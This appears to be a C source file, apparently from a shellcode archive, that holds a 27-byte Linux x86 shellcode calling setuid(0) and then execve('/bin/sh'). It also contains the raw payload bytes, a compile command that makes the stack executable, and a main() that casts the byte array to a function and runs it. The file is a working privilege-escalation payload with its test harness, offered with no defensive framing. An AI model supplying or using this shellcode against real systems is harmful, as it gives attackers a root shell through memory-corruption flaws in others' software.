29 lines
No EOL
706 B
C
29 lines
No EOL
706 B
C
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
/*
|
|
by Magnefikko
|
|
24.04.2010
|
|
magnefikko@gmail.com
|
|
Promhyl Studies :: http://promhyl.oz.pl
|
|
Subgroup: #PRekambr
|
|
Name: 27 bytes setuid(0) ^ execve("/bin/sh", 0, 0) shellcode
|
|
Platform: Linux x86
|
|
|
|
setuid(0);
|
|
execve("/bin/sh", 0, 0);
|
|
|
|
gcc -Wl,-z,execstack filename.c
|
|
|
|
shellcode:
|
|
|
|
\x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80
|
|
|
|
*/
|
|
|
|
|
|
int main(){
|
|
char shell[] ="\x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80";
|
|
printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)= %d\n", strlen(shell));
|
|
(*(void (*)()) shell)();
|
|
} |